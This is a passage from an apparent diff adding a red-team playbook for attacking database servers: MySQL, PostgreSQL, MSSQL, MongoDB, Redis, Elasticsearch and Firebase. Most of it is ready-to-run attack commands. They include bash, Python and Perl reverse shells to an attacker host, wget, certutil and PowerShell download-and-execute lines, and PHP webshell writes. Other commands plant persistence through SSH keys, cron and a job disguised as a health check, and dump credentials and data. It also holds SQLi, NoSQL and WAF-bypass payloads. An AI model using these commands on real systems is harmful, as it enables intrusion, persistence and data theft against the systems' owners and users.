+
268
+ **Step 5: Execute OS commands**
269
+ ```bash
270
+ # Verify execution
271
+ mysql -h $TARGET_IP -u root -p -e "SELECT sys_eval('id');"
272
+ # Expected: uid=999(mysql) gid=999(mysql) groups=999(mysql)
273
+
274
+ # Reverse shell
275
+ mysql -h $TARGET_IP -u root -p -e "SELECT sys_exec('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"');"
276
+
277
+ # Add SSH key for persistence
278
+ mysql -h $TARGET_IP -u root -p -e "SELECT sys_exec('mkdir -p /root/.ssh && echo SSH_PUBKEY >> /root/.ssh/authorized_keys');"
279
+
280
+ # Download and execute payload
281
+ mysql -h $TARGET_IP -u root -p -e "SELECT sys_exec('wget http://$LHOST/payload.sh -O /tmp/p.sh && chmod +x /tmp/p.sh && /tmp/p.sh');"
282
+ ```
283
+
284
+ **Step 6: Cleanup**
285
+ ```bash
286
+ mysql -h $TARGET_IP -u root -p << 'EOF'
287
+ DROP FUNCTION IF EXISTS sys_exec;
288
+ DROP FUNCTION IF EXISTS sys_eval;
289
+ -- Remove UDF file
290
+ SELECT sys_exec('rm /usr/lib/mysql/plugin/lib_mysqludf_sys.so');
291
+ EOF
292
+ ```
293
+
294
+ ---
295
+
296
+ ### Workflow 2: PostgreSQL COPY TO PROGRAM RCE
297
+
298
+ Available since PostgreSQL 9.3. Requires SUPERUSER or pg_execute_server_program role.
299
+
300
+ **Step 1: Confirm superuser access**
301
+ ```bash
302
+ psql -h $TARGET_IP -U postgres -c "SELECT current_user, pg_catalog.pg_has_role('postgres', 'pg_execute_server_program', 'member');"
303
+ psql -h $TARGET_IP -U postgres -c "SELECT rolsuper FROM pg_roles WHERE rolname=current_user;"
304
+ ```
305
+
306
+ **Step 2: Basic command execution test**
307
+ ```bash
308
+ # Write output to file (confirm execution)
309
+ psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'id > /tmp/test.txt'"
310
+ psql -h $TARGET_IP -U postgres -c "COPY cmd_output FROM PROGRAM 'id'"
311
+ # This reads output back into a temp table
312
+
313
+ # Alternative with table
314
+ psql -h $TARGET_IP -U postgres << 'EOF'
315
+ CREATE TABLE cmd_output (output text);
316
+ COPY cmd_output FROM PROGRAM 'id';
317
+ SELECT * FROM cmd_output;
318
+ DROP TABLE cmd_output;
319
+ EOF
320
+ ```
321
+
322
+ **Step 3: Reverse shell via COPY PROGRAM**
323
+ ```bash
324
+ # Start listener first
325
+ nc -lvnp $LPORT &
326
+
327
+ # Execute reverse shell
328
+ psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'"
329
+
330
+ # Alternative using Python
331
+ psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((chr(49)+chr(48)+chr(46)+chr(49)+chr(48)+chr(46)+chr(49)+chr(52)+chr(46)+chr(53),4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\"'"
332
+
333
+ # Perl reverse shell (often available)
334
+ psql -h $TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'perl -e \"use Socket;\$i=\\\"$LHOST\\\";\$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\"tcp\\\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\\\">&S\\\");open(STDOUT,\\\">&S\\\");open(STDERR,\\\">&S\\\");exec(\\\"/bin/sh -i\\\");};\"'"
335
+ ```
336
+
337
+ **Step 4: pg_largeobject file read**
338
+ ```bash
339
+ # Read sensitive files via large objects
340
+ psql -h $TARGET_IP -U postgres << 'EOF'
341
+ -- Import file as large object
342
+ SELECT lo_import('/etc/passwd');
343
+ -- Note the returned OID (e.g., 16384)
344
+
345
+ -- Export large object to readable location
346
+ SELECT lo_export(16384, '/tmp/passwd_copy.txt');
347
+
348
+ -- Or read directly via pg_read_file (superuser only)
349
+ SELECT pg_read_file('/etc/passwd', 0, 1000000);
350
+ EOF
351
+
352
+ # Write files via large objects
353
+ psql -h $TARGET_IP -U postgres << 'EOF'
354
+ -- Create a webshell
355
+ SELECT lo_from_bytea(0, '<?php system($_GET["cmd"]); ?>');
356
+ -- Note OID, then export
357
+ SELECT lo_export(OID_HERE, '/var/www/html/shell.php');
358
+ EOF
359
+ ```
360
+
361
+ **Step 5: Postgres SQLi via COPY PROGRAM (when injecting through app)**
362
+ ```bash
363
+ # If injecting through SQLi, use stacked queries:
364
+ # Payload: '; COPY (SELECT '') TO PROGRAM 'curl http://LHOST/$(id)'; --
365
+ sqlmap -u "http://TARGET/page?id=1" --dbms=postgresql --os-cmd="id"
366
+ sqlmap -u "http://TARGET/page?id=1" --dbms=postgresql --os-shell
367
+ ```
368
+
369
+ ---
370
+
371
+ ### Workflow 3: MSSQL xp_cmdshell Enable and Abuse
372
+
373
+ **Step 1: Enumerate current configuration**
374
+ ```bash
375
+ # Check xp_cmdshell status
376
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
377
+ SELECT name, value, value_in_use
378
+ FROM sys.configurations
379
+ WHERE name = 'xp_cmdshell'
380
+ "
381
+
382
+ # Check current user and role
383
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
384
+ SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin')
385
+ "
386
+
387
+ # Check linked servers
388
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
389
+ SELECT name, data_source, provider FROM sys.servers WHERE is_linked=1
390
+ "
391
+ ```
392
+
393
+ **Step 2: Enable xp_cmdshell**
394
+ ```bash
395
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
396
+ EXEC sp_configure 'show advanced options', 1;
397
+ RECONFIGURE;
398
+ EXEC sp_configure 'xp_cmdshell', 1;
399
+ RECONFIGURE;
400
+ "
401
+
402
+ # Verify it's enabled
403
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
404
+ SELECT value_in_use FROM sys.configurations WHERE name='xp_cmdshell'
405
+ "
406
+ ```
407
+
408
+ **Step 3: Execute commands**
409
+ ```bash
410
+ # Basic command execution
411
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'whoami'"
412
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'ipconfig /all'"
413
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'net user'"
414
+
415
+ # Reverse shell via PowerShell
416
+ # First generate payload with msfvenom or use a PS one-liner
417
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
418
+ EXEC xp_cmdshell 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX(New-Object Net.WebClient).DownloadString(''http://$LHOST/Invoke-PowerShellTcp.ps1'')\"'
419
+ "
420
+
421
+ # Download and execute via certutil (if PowerShell blocked)
422
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
423
+ EXEC xp_cmdshell 'certutil -urlcache -f http://$LHOST/payload.exe C:\Windows\Temp\payload.exe'
424
+ "
425
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
426
+ EXEC xp_cmdshell 'C:\Windows\Temp\payload.exe'
427
+ "
428
+
429
+ # Read sensitive files
430
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt'"
431
+ ```
432
+
433
+ **Step 4: MSSQL Agent Jobs (stealthier persistence)**
434
+ ```bash
435
+ sqlcmd -S $TARGET_IP -U sa -P 'password' << 'EOF'
436
+ USE msdb;
437
+
438
+ -- Create job
439
+ EXEC sp_add_job
440
+ @job_name = 'SystemHealthCheck',
441
+ @enabled = 1,
442
+ @description = 'Routine system health monitoring';
443
+
444
+ -- Add step with payload
445
+ EXEC sp_add_jobstep
446
+ @job_name = 'SystemHealthCheck',
447
+ @step_name = 'CollectMetrics',
448
+ @subsystem = 'CmdExec',
449
+ @command = 'powershell -e BASE64ENCODED_PAYLOAD',
450
+ @retry_attempts = 1,
451
+ @retry_interval = 5;
452
+
453
+ -- Add schedule (runs at 10:00 AM daily)
454
+ EXEC sp_add_schedule
455
+ @schedule_name = 'DailyMorning',
456
+ @freq_type = 4,
457
+ @freq_interval = 1,
458
+ @active_start_time = 100000;
459
+
460
+ -- Attach schedule to job
461
+ EXEC sp_attach_schedule
462
+ @job_name = 'SystemHealthCheck',
463
+ @schedule_name = 'DailyMorning';
464
+
465
+ -- Assign to local server
466
+ EXEC sp_add_jobserver
467
+ @job_name = 'SystemHealthCheck';
468
+
469
+ -- Run immediately for testing
470
+ EXEC sp_start_job 'SystemHealthCheck';
471
+ GO
472
+ EOF
473
+ ```
474
+
475
+ **Step 5: Linked server command execution**
476
+ ```bash
477
+ # Execute on linked server without enabling xp_cmdshell locally
478
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
479
+ EXEC ('xp_cmdshell ''whoami''') AT [LINKED-SERVER-NAME]
480
+ "
481
+
482
+ # Chain through multiple linked servers
483
+ sqlcmd -S $TARGET_IP -U sa -P 'password' -Q "
484
+ EXEC ('EXEC (''xp_cmdshell ''''whoami'''''' '') AT [SERVER2]') AT [SERVER1]
485
+ "
486
+
487
+ # PowerUpSQL for automated linked server abuse
488
+ # Import-Module PowerUpSQL.ps1
489
+ # Get-SQLServerLinkCrawl -Instance TARGET -Verbose
490
+ ```
491
+
492
+ ---
493
+
494
+ ### Workflow 4: MongoDB Authentication Bypass
495
+
496
+ **Step 1: Check for unauthenticated access**
497
+ ```bash
498
+ # Direct connection without credentials
499
+ mongo --host $TARGET_IP --port 27017
500
+
501
+ # Via Python
502
+ python3 -c "
503
+ from pymongo import MongoClient
504
+ client = MongoClient('$TARGET_IP', 27017)
505
+ print(client.list_database_names())
506
+ "
507
+
508
+ # Check if authentication is enabled
509
+ mongo --host $TARGET_IP --port 27017 --eval "db.adminCommand({getCmdLineOpts:1})"
510
+ ```
511
+
512
+ **Step 2: NoSQL injection payloads**
513
+
514
+ When MongoDB is behind a web application, inject via HTTP parameters:
515
+
516
+ ```bash
517
+ # Standard login bypass - JSON body
518
+ # Original: {"username": "admin", "password": "secret"}
519
+ # Bypass: use $ne (not equal) operator
520
+
521
+ curl -s -X POST http://TARGET/login \
522
+ -H "Content-Type: application/json" \
523
+ -d '{"username": "admin", "password": {"$ne": "invalid"}}'
524
+
525
+ # $gt (greater than) bypass
526
+ curl -s -X POST http://TARGET/login \
527
+ -H "Content-Type: application/json" \
528
+ -d '{"username": "admin", "password": {"$gt": ""}}'
529
+
530
+ # $regex bypass
531
+ curl -s -X POST http://TARGET/login \
532
+ -H "Content-Type: application/json" \
533
+ -d '{"username": "admin", "password": {"$regex": ".*"}}'
534
+
535
+ # URL-encoded form parameter injection
536
+ curl -s -X POST http://TARGET/login \
537
+ -d "username=admin&password[$ne]=invalid"
538
+
539
+ # Array injection
540
+ curl -s -X POST http://TARGET/login \
541
+ -d "username[$regex]=.*&password[$ne]=x"
542
+ ```
543
+
544
+ **Step 3: Blind NoSQL injection (data extraction)**
545
+ ```bash
546
+ # Extract password character by character using $regex
547
+ # First character is 'a':
548
+ curl -s -X POST http://TARGET/login \
549
+ -H "Content-Type: application/json" \
550
+ -d '{"username": "admin", "password": {"$regex": "^a"}}'
551
+
552
+ # Automate with nosqlmap
553
+ git clone https://github.com/codingo/NoSQLMap
554
+ cd NoSQLMap
555
+ python nosqlmap.py
556
+
557
+ # Or use a custom script
558
+ python3 << 'EOF'
559
+ import requests
560
+ import string
561
+
562
+ url = "http://TARGET/login"
563
+ chars = string.ascii_letters + string.digits + string.punctuation
564
+ extracted = ""
565
+
566
+ for pos in range(50):
567
+ found = False
568
+ for c in chars:
569
+ payload = {
570
+ "username": "admin",
571
+ "password": {"$regex": f"^{extracted}{c}"}
572
+ }
573
+ resp = requests.post(url, json=payload)
574
+ if "Welcome" in resp.text or resp.status_code == 200:
575
+ extracted += c
576
+ print(f"[+] Found char: {c} -> Current: {extracted}")
577
+ found = True
578
+ break
579
+ if not found:
580
+ break
581
+
582
+ print(f"[+] Extracted: {extracted}")
583
+ EOF
584
+ ```
585
+
586
+ **Step 4: Direct MongoDB data extraction**
587
+ ```bash
588
+ # Dump all databases
589
+ mongo --host $TARGET_IP << 'EOF'
590
+ db.adminCommand({listDatabases: 1}).databases.forEach(function(d) {
591
+ print("\n=== Database: " + d.name + " ===");
592
+ var db2 = db.getSiblingDB(d.name);
593
+ db2.getCollectionNames().forEach(function(c) {
594
+ print(" Collection: " + c);
595
+ db2.getCollection(c).find().limit(5).forEach(printjson);
596
+ });
597
+ });
598
+ EOF
599
+
600
+ # Export specific collection to JSON
601
+ mongoexport --host $TARGET_IP --db targetdb --collection users --out $OUTDIR/users.json
602
+
603
+ # Dump entire database
604
+ mongodump --host $TARGET_IP --out $OUTDIR/mongodump/
605
+ ```
606
+
607
+ ---
608
+
609
+ ### Workflow 5: Redis Configuration Exploitation
610
+
611
+ **Step 1: Confirm unauthenticated access**
612
+ ```bash
613
+ redis-cli -h $TARGET_IP ping
614
+ # Expected: PONG
615
+
616
+ redis-cli -h $TARGET_IP info
617
+ redis-cli -h $TARGET_IP config get dir
618
+ redis-cli -h $TARGET_IP config get dbfilename
619
+ redis-cli -h $TARGET_IP config get requirepass
620
+ ```
621
+
622
+ **Step 2: Check existing keys and data**
623
+ ```bash
624
+ # List all keys
625
+ redis-cli -h $TARGET_IP keys '*'
626
+
627
+ # Get specific key types and values
628
+ redis-cli -h $TARGET_IP type keyname
629
+ redis-cli -h $TARGET_IP get keyname
630
+ redis-cli -h $TARGET_IP hgetall keyname # for hash
631
+ redis-cli -h $TARGET_IP lrange keyname 0 -1 # for list
632
+
633
+ # Dump all keys and values
634
+ redis-cli -h $TARGET_IP --scan | while read key; do
635
+ echo "KEY: $key"
636
+ redis-cli -h $TARGET_IP get "$key"
637
+ echo "---"
638
+ done
639
+ ```
640
+
641
+ **Step 3: RCE via SSH authorized_keys write**
642
+ ```bash
643
+ # Generate SSH key pair
644
+ ssh-keygen -t rsa -f /tmp/redis_rsa -N ""
645
+
646
+ # Prepare key with padding
647
+ (echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/redis_key.txt
648
+
649
+ # Write key via Redis
650
+ cat /tmp/redis_key.txt | redis-cli -h $TARGET_IP -x set ssh_key
651
+
652
+ # Configure Redis to write to SSH directory
653
+ redis-cli -h $TARGET_IP config set dir /root/.ssh
654
+ redis-cli -h $TARGET_IP config set dbfilename authorized_keys
655
+ redis-cli -h $TARGET_IP save
656
+
657
+ # Connect via SSH
658
+ ssh -i /tmp/redis_rsa root@$TARGET_IP
659
+ ```
660
+
661
+ **Step 4: RCE via cron job**
662
+ ```bash
663
+ # Write malicious cron job
664
+ redis-cli -h $TARGET_IP config set dir /var/spool/cron/
665
+ redis-cli -h $TARGET_IP config set dbfilename root
666
+ redis-cli -h $TARGET_IP set cronpayload "\n\n*/1 * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"
667
+ redis-cli -h $TARGET_IP save
668
+
669
+ # Alternative: crontabs directory
670
+ redis-cli -h $TARGET_IP config set dir /var/spool/cron/crontabs/
671
+ redis-cli -h $TARGET_IP config set dbfilename root
672
+ redis-cli -h $TARGET_IP set x "\n\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'\n\n"
673
+ redis-cli -h $TARGET_IP save
674
+ ```
675
+
676
+ **Step 5: RCE via webshell write**
677
+ ```bash
678
+ # Write PHP webshell to web root
679
+ redis-cli -h $TARGET_IP config set dir /var/www/html/
680
+ redis-cli -h $TARGET_IP config set dbfilename shell.php
681
+ redis-cli -h $TARGET_IP set webshell "<?php system(\$_GET['cmd']); ?>"
682
+ redis-cli -h $TARGET_IP save
683
+
684
+ # Test webshell
685
+ curl "http://$TARGET_IP/shell.php?cmd=id"
686
+ ```
687
+
688
+ **Step 6: Redis Rogue Server RCE (for newer Redis versions)**
689
+ ```bash
690
+ # Redis 4.x/5.x master-slave replication exploit
691
+ # Loads a malicious module via replication
692
+
693
+ git clone https://github.com/n0b0dyCN/redis-rogue-server
694
+ cd redis-rogue-server
695
+
696
+ # Compile the shared library payload
697
+ cd exp/
698
+ make
699
+
700
+ # Start rogue server and exploit
701
+ python3 redis-rogue-server.py --rhost $TARGET_IP --lhost $LHOST --lport $LPORT
702
+
703
+ # Alternative: redis-rce
704
+ git clone https://github.com/Ridter/redis-rce
705
+ cd redis-rce
706
+ python3 redis-rce.py -r $TARGET_IP -L $LHOST -P $LPORT -f exp.so
707
+ ```
708
+
709
+ ---
710
+
711
+ ### Workflow 6: Elasticsearch Unauthenticated Data Extraction
712
+
713
+ **Step 1: Discover and fingerprint**
714
+ ```bash
715
+ # Basic info
716
+ curl -s http://$TARGET_IP:9200/ | jq .
717
+
718
+ # Check cluster health
719
+ curl -s http://$TARGET_IP:9200/_cluster/health | jq .
720
+
721
+ # List all indices
722
+ curl -s "http://$TARGET_IP:9200/_cat/indices?v"
723
+
724
+ # Check for security plugin
725
+ curl -s "http://$TARGET_IP:9200/_nodes" | jq '.nodes[].plugins[].name'
726
+ ```
727
+
728
+ **Step 2: Enumerate and extract data**
729
+ ```bash
730
+ # Get all indices with size
731
+ curl -s "http://$TARGET_IP:9200/_cat/indices?v&h=index,docs.count,store.size" | sort -k3 -h -r
732
+
733
+ # List indices matching patterns
734
+ curl -s "http://$TARGET_IP:9200/_cat/indices/user*?v"
735
+ curl -s "http://$TARGET_IP:9200/_cat/indices/*password*?v"
736
+ curl -s "http://$TARGET_IP:9200/_cat/indices/*credential*?v"
737
+
738
+ # Get index mappings (field names)
739
+ curl -s "http://$TARGET_IP:9200/INDEX_NAME/_mapping" | jq .
740
+
741
+ # Extract documents from index (first 10)
742
+ curl -s "http://$TARGET_IP:9200/INDEX_NAME/_search?size=10&pretty"
743
+
744
+ # Extract ALL documents using scroll API
745
+ curl -s "http://$TARGET_IP:9200/INDEX_NAME/_search?scroll=1m&size=1000" \
746
+ -H "Content-Type: application/json" \
747
+ -d '{"query": {"match_all": {}}}' | jq . > $OUTDIR/es-data.json
748
+
749
+ # Search for specific fields
750
+ curl -s "http://$TARGET_IP:9200/INDEX_NAME/_search" \
751
+ -H "Content-Type: application/json" \
752
+ -d '{
753
+ "query": {
754
+ "multi_match": {
755
+ "query": "password",
756
+ "fields": ["*"]
757
+ }
758
+ }
759
+ }' | jq '.hits.hits[]._source'
760
+
761
+ # Extract credentials fields specifically
762
+ curl -s "http://$TARGET_IP:9200/_search" \
763
+ -H "Content-Type: application/json" \
764
+ -d '{
765
+ "_source": ["username", "password", "email", "token", "api_key"],
766
+ "query": {"match_all": {}},
767
+ "size": 1000
768
+ }' | jq '.hits.hits[]._source'
769
+ ```
770
+
771
+ **Step 3: Bulk export**
772
+ ```bash
773
+ # Export entire index via elasticdump
774
+ npm install -g elasticdump
775
+
776
+ elasticdump \
777
+ --input=http://$TARGET_IP:9200/INDEX_NAME \
778
+ --output=$OUTDIR/es-INDEX_NAME.json \
779
+ --type=data
780
+
781
+ # Export all indices
782
+ curl -s "http://$TARGET_IP:9200/_cat/indices?h=index" | while read index; do
783
+ elasticdump \
784
+ --input=http://$TARGET_IP:9200/$index \
785
+ --output=$OUTDIR/es-$index.json \
786
+ --type=data
787
+ done
788
+
789
+ # Python script for full dump
790
+ python3 << 'EOF'
791
+ import requests
792
+ import json
793
+
794
+ base = f"http://{TARGET_IP}:9200"
795
+ indices = requests.get(f"{base}/_cat/indices?format=json").json()
796
+
797
+ for idx in indices:
798
+ name = idx['index']
799
+ print(f"[*] Dumping: {name}")
800
+ resp = requests.get(f"{base}/{name}/_search?size=10000")
801
+ with open(f"{OUTDIR}/{name}.json", 'w') as f:
802
+ json.dump(resp.json(), f, indent=2)
803
+ EOF
804
+ ```
805
+
806
+ **Step 4: Known Elasticsearch CVEs**
807
+ ```bash
808
+ # CVE-2014-3120 / CVE-2015-1427: Groovy script injection (ES < 1.6)
809
+ curl -s -X POST "http://$TARGET_IP:9200/_search?pretty" \
810
+ -H "Content-Type: application/json" \
811
+ -d '{
812
+ "size": 1,
813
+ "query": {
814
+ "filtered": {
815
+ "query": {
816
+ "match_all": {}
817
+ }
818
+ }
819
+ },
820
+ "script_fields": {
821
+ "cmd": {
822
+ "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
823
+ }
824
+ }
825
+ }'
826
+
827
+ # CVE-2015-1427: Sandbox escape via Groovy
828
+ curl -s -X POST "http://$TARGET_IP:9200/_search?pretty" \
829
+ -H "Content-Type: application/json" \
830
+ -d '{
831
+ "script_fields": {
832
+ "exploit": {
833
+ "script": "Thread.currentThread().getContextClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"exec\",String.class).invoke(Thread.currentThread().getContextClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"
834
+ }
835
+ }
836
+ }'
837
+ ```
838
+
839
+ ---
840
+
841
+ ### Workflow 7: Firebase Open Rules Bypass
842
+
843
+ **Step 1: Identify Firebase projects**
844
+ ```bash
845
+ # Common Firebase URL patterns:
846
+ # https://PROJECT_ID.firebaseio.com/
847
+ # https://PROJECT_ID-default-rtdb.firebaseio.com/
848
+
849
+ # Enumerate via JS source code
850
+ curl -s http://TARGET/ | grep -oE 'https://[a-z0-9-]+\.firebaseio\.com' | sort -u
851
+ curl -s http://TARGET/ | grep -oE '"projectId":"[^"]*"'
852
+
853
+ # Check if Realtime Database is public
854
+ curl -s "https://PROJECT_ID.firebaseio.com/.json"
855
+ curl -s "https://PROJECT_ID.firebaseio.com/.json?shallow=true"
856
+
857
+ # Firestore (different endpoint)
858
+ curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/COLLECTION"
859
+ ```
860
+
861
+ **Step 2: Enumerate and extract data**
862
+ ```bash
863
+ # Read root with shallow=true (faster, less data)
864
+ curl -s "https://PROJECT_ID.firebaseio.com/.json?shallow=true" | jq 'keys[]'
865
+
866
+ # Read specific collections
867
+ curl -s "https://PROJECT_ID.firebaseio.com/users.json" | jq .
868
+ curl -s "https://PROJECT_ID.firebaseio.com/messages.json" | jq .
869
+
870
+ # Download entire database (use with caution - may be large)
871
+ curl -s "https://PROJECT_ID.firebaseio.com/.json" -o $OUTDIR/firebase-dump.json
872
+
873
+ # Firestore: List all collections
874
+ curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents" | jq .
875
+
876
+ # Using firebase-tools CLI
877
+ firebase login --no-localhost
878
+ firebase database:get / --project PROJECT_ID > $OUTDIR/firebase-full.json
879
+
880
+ # firebaseEnum for automatic enumeration
881
+ python3 firebaseEnum.py -k API_KEY
882
+ ```
883
+
884
+ **Step 3: Write to open Firebase (impact demonstration)**
885
+ ```bash
886
+ # Demonstrate write access (always get explicit authorization first)
887
+ curl -s -X PUT "https://PROJECT_ID.firebaseio.com/security-test/red-team.json" \
888
+ -H "Content-Type: application/json" \
889
+ -d '{"timestamp": "'"$(date -u +%Y-%m-%dT%H:%M:%SZ)"'", "message": "Open write access confirmed by Red Team", "tester": "Red Team Assessment"}'
890
+
891
+ # Verify write was successful
892
+ curl -s "https://PROJECT_ID.firebaseio.com/security-test/red-team.json" | jq .
893
+ ```
894
+
895
+ **Step 4: Firestore rules bypass**
896
+ ```bash
897
+ # Test Firestore rules with API key from JS source
898
+ API_KEY="AIzaSy..."
899
+
900
+ # List documents in collection
901
+ curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/users?key=$API_KEY" | jq .
902
+
903
+ # Read specific document
904
+ curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/users/USER_ID?key=$API_KEY" | jq .
905
+
906
+ # Write to Firestore
907
+ curl -s -X POST "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/pentest?key=$API_KEY" \
908
+ -H "Content-Type: application/json" \
909
+ -d '{"fields": {"test": {"stringValue": "red team was here"}}}'
910
+ ```
911
+
912
+ ---
913
+
914
+ ## Payload Examples
915
+
916
+ ### SQLi Payloads (MySQL)
917
+
918
+ ```sql
919
+ -- Basic UNION-based data extraction
920
+ ' UNION SELECT 1,2,3,group_concat(table_name),5 FROM information_schema.tables WHERE table_schema=database()-- -
921
+
922
+ -- Error-based extraction (MySQL)
923
+ ' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 1)))-- -
924
+
925
+ -- Time-based blind (when no output)
926
+ ' AND SLEEP(5)-- -
927
+ '; IF(1=1, SLEEP(5), 0)-- -
928
+
929
+ -- File write via SQLi
930
+ ' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/cmd.php'-- -
931
+
932
+ -- Second-order SQLi (stored, executed later)
933
+ admin'-- - (in username field, exploited on profile page)
934
+
935
+ -- WAF bypass techniques
936
+ /*!50000SELECT*/ /*!50000version*/()
937
+ SELE/**/CT version()
938
+ %53%45%4c%45%43%54 version() -- URL encoded
939
+ ```
940
+
941
+ ### NoSQL Injection Payloads (MongoDB)
942
+
943
+ ```javascript
944
+ // JSON-based bypasses
945
+ {"$gt": ""} // Greater than empty string
946
+ {"$ne": null} // Not equal to null
947
+ {"$in": [""]} // In array with empty string
948
+ {"$regex": ".*"} // Match any regex
949
+
950
+ // Array bypass
951
+ {"username": {"$in": ["admin", "administrator"]}, "password": {"$ne": ""}}
952
+
953
+ // Where clause injection
954
+ {"$where": "this.username == 'admin'"}
955
+ {"$where": "sleep(5000) || true"} // Time-based detection
956
+
957
+ // PHP-specific (when app uses PHP array syntax)
958
+ username[$ne]=&password[$ne]=
959
+ username[$regex]=.*&password[$regex]=.*
960
+
961
+ // JavaScript injection in $where
962
+ {"$where": "function() { return true; }"}
963
+ ```
964
+
965
+ ### Redis Exploitation Payloads
966
+
967
+ ```bash
968
+ # Lua scripting for data exfiltration (when CONFIG is restricted)
969
+ redis-cli -h $TARGET_IP EVAL "return redis.call('keys','*')" 0
970
+
971
+ # Load module for RCE (Redis 4+)
972
+ redis-cli -h $TARGET_IP MODULE LOAD /tmp/malicious.so
973
+
974
+ # SLAVEOF for rogue master attack
975
+ redis-cli -h $TARGET_IP SLAVEOF $LHOST 6379
976
+
977
+ # Write arbitrary file via RESTORE command (bypass CONFIG restrictions)
978
+ redis-cli -h $TARGET_IP RESTORE target_key 0 "\x00\x04data\n\r"
979
+ ```
980
+
981
+ ---
982
+
983
+ ## Real-World Attack Scenarios
984
+
985
+ ### Scenario 1: Internal Network Database Takeover
986
+
987
+ **Context:** You've obtained VPN access or pivoted into an internal network segment during a red team engagement. Database servers are accessible without firewall restrictions.
988
+
989
+ **Attack Chain:**
990
+ ```bash
991
+ # Phase 1: Discovery
992
+ nmap -sV -p 1433,3306,5432,27017,6379 10.10.0.0/24 -oG $OUTDIR/db-sweep.txt
993
+ grep "open" $OUTDIR/db-sweep.txt | grep -E "mysql|mssql|postgres|mongodb|redis"
994
+
995
+ # Phase 2: Default credential spray
996
+ # MySQL
997
+ for host in $(grep "3306/open" $OUTDIR/db-sweep.txt | awk '{print $2}'); do
998
+ mysql -h $host -u root --connect-timeout=3 -e "SELECT 1;" 2>/dev/null && \
999
+ echo "[VULN] MySQL no-auth on $host" | tee -a $OUTDIR/findings.txt
1000
+ done
1001
+
1002
+ # Redis (no auth)
1003
+ for host in $(grep "6379/open" $OUTDIR/db-sweep.txt | awk '{print $2}'); do
1004
+ result=$(redis-cli -h $host --connect-timeout 2 ping 2>/dev/null)
1005
+ [ "$result" = "PONG" ] && echo "[VULN] Redis no-auth on $host" >> $OUTDIR/findings.txt
1006
+ done
1007
+
1008
+ # Phase 3: Exploitation - MySQL UDF RCE
1009
+ TARGET="10.10.0.50"
1010
+ mysql -h $TARGET -u root -e "
1011
+ SET @udf = load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so');
1012
+ SELECT @udf INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
1013
+ CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
1014
+ SELECT sys_eval('id');
1015
+ SELECT sys_eval('cat /etc/shadow');
1016
+ "
1017
+
1018
+ # Phase 4: Lateral movement via credentials found in DB
1019
+ mysql -h $TARGET -u root -e "SELECT user, password FROM mysql.user;" > $OUTDIR/db-creds.txt
1020
+ # Use found creds to access other systems
1021
+ ```
1022
+
1023
+ ### Scenario 2: Web Application SQLi to OS Shell
1024
+
1025
+ **Context:** Web application has a login form vulnerable to SQL injection. Target is running MSSQL on Windows Server.
1026
+
1027
+ **Attack Chain:**
1028
+ ```bash
1029
+ # Phase 1: Confirm SQLi
1030
+ sqlmap -u "https://app.target.com/login" \
1031
+ --data="username=admin&password=test" \
1032
+ --level=5 --risk=3 \
1033
+ --batch \
1034
+ --dbms=mssql
1035
+
1036
+ # Phase 2: Fingerprint and enumerate
1037
+ sqlmap -u "https://app.target.com/login" \
1038
+ --data="username=admin&password=test" \
1039
+ --current-user --current-db --is-dba \
1040
+ --batch --dbms=mssql
1041
+
1042
+ # Phase 3: Extract credentials first (for evidence)
1043
+ sqlmap -u "https://app.target.com/login" \
1044
+ --data="username=admin&password=test" \
1045
+ -D ApplicationDB -T Users --dump \
1046
+ --batch --dbms=mssql
1047
+
1048
